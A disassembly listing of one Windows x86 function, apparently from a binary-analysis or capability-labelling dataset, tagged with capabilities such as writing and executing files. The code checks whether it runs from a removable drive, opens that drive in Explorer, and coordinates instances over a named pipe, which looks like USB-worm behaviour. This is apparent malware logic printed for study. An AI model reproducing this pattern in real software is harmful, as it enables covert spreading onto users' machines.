Function at 0x406495
Capabilities:
Check if file exists
Create process on windows
Get disk information
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push 0x104
push 0
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x101
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x406553
lea eax, [ebp - 0x120]
push eax
push str._n__s
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 5
push 0
lea eax, [ebp - 0x268]
push eax
push str.explorer.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x14], str..pipe96DBA249_E88E_4c47_98DC_E18E6E3E3E5A
and dword [ebp - 4], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push 0x104
push 0
push 0x40d730
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4065c7
push 1
lea eax, [ebp - 0x228]
push eax
call fcn.0040164c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x4065c2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x4066d3
mov dword [ebp - 8], 2
push 0
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push 0
lea eax, [ebp - 0xc]
push eax
push 2
push 0x40be6c
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x104
push 0x40d730
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x40d730
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x40663c
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea eax, [ebp - 0x228]
push eax
call fcn.0040164c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2e
push 0x40d730
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x406663
mov eax, dword [ebp - 4]
and dword [eax], 0
and dword [ebp - 0x26c], 0
jmp 0x406679
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x64
jge 0x4066c5
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4066b2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4066b0
jmp 0x4066c5
jmp 0x4066bb
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40666c
push 2
lea eax, [ebp - 0x228]
push eax
call fcn.0040164c
leave
ret